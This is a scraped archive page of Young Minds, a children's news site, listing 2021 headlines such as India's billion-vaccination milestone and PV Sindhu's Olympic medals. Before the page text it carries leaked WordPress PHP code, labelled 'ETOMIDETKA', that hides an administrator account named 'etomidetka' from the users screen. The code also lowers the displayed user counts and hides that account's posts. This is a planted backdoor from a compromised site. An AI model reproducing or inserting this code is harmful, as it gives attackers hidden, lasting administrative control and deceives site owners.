//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 13

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 13)
Own a piece of space history!

Own a piece of space history!

Checklist used by last man on the moon Eugene Cernan in 1972 and the historic notes are now up for grabs. The RR Auction, a space collector’s event, is …

October 22, 2021 | Main News
India crosses 1 billion Covid vaccination mark

India crosses 1 billion Covid vaccination mark

India has scripted history by reaching the one billion COVID-19 vaccinations milestone mark. The milestone is a triumph of Indian science, enterprise and …

October 22, 2021 | Main News
Maharaja heads back home to the Tatas after 68 years

Maharaja heads back home to the Tatas after 68 years

The Maharaja has come a full circle. Come January, Air India will be piloted by the Tata Group, again after 68 years, with the government deciding to sell the …

October 14, 2021 | Main News
Meet the world’s youngest astronomer!

Meet the world’s youngest astronomer!

An eight-year-old girl has joined a NASA-affiliated programme searching for asteroids, and has already spotted 18 space rocks, according to her family. Nicole …

October 8, 2021 | Main News
Fumio Kishida set to become Japan’s next Prime Minister

Fumio Kishida set to become Japan’s next Prime Minister

Fumio Kishida is set to become Japan’s next Prime Minister as he won the ruling party leadership election in a run-off vote. The former Foreign Minister …

October 1, 2021 | Main News
Canada surpasses the U.S. as top study destination of choice for Indian students in 2020

Canada surpasses the U.S. as top study destination of choice for Indian students in 2020

Canada has seen a 431 per cent growth in international student enrollment from India in five years, increasing 161,351 students from 2015 to 2020. In 2020, …

October 1, 2021 | Main News
Google extends work-from-home option till January 2022

Google extends work-from-home option till January 2022

Google will keep its employees home until at least next July, making the search-engine giant the first major U.S. corporation to formalize such an extended …

September 3, 2021 | Main News
NI scientist awarded Royal Society’s highest prize

NI scientist awarded Royal Society’s highest prize

A leading astrophysicist from Northern Ireland has been awarded the world’s oldest scientific prize for her work on the discovery of pulsars. Dame Jocelyn …

August 28, 2021 | Main News
First Indian woman to win 2 Olympic medals

First Indian woman to win 2 Olympic medals

PV Sindhu, the 26-year-old badminton star has become the first Indian woman to win 2 Olympic medals. Sindhu defeated He Bingjiao of China 21-13, 21-15 in the …

August 6, 2021 | Main News
PM Modi to be the First Indian Prime Minister to Preside Over UNSC Meeting

PM Modi to be the First Indian Prime Minister to Preside Over UNSC Meeting

For the first time in the history of the UN Security Council (UNSC), an Indian Prime Minister will be presiding over a meeting. Prime Minister Narendra Modi is …

August 6, 2021 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds